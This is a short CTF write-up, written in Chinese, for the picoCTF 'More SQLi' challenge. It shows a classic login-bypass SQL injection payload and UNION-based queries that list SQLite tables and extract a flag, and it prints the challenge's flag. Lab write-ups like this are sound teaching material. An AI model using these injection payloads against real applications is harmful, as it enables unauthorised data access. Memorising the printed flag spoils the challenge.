PicoCTF - More SQLi
Background
- Feifei Lab
- Hint SQLiLite
Recon
先隨便輸入發現他很貼心有給完整的payload,發現他是先檢查password,在沒有任何防護的情況下,直接用最經典的payload就可了
Account: Any
Password: ' or '1'='1' -- #
Exploit - SQLi(Union Selection)
現在的目標是flag應該是藏在別的table,所以先找甚麼table
- 找table
透過Kaibro的cheat sheet,SQLite的爆破payload是
SELECT name FROM sqlite_master WHERE type='table'
,而目前我們可以用union based的方式搜尋,先觀察搜尋Algiers
的搜尋column有三個,第一個column是chr,第二個column是chr,第三個是int,所以在用union select的時候要遵守**查詢數量一樣、每個欄位的型態一樣** Payload:Algiers' union SELECT sql,sql,1 FROM sqlite_master WHERE type='table'; --
:::spoiler Screenshot:::
- Find Flag - Union based
目前發現有兩個table比較可疑
- CREATE TABLE hints (id INTEGER NOT NULL PRIMARY KEY, info TEXT)
- CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT)
可以直接用前面同樣的方式找flag,觀察這個table只有兩個column,且一個column的type是int,另外一個是text,而第三個column就隨便填 Payload:
Algiers' union SELECT id,flag,1 FROM more_table; --
:::spoiler Screenshot::: Flag:
picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_98236ce6}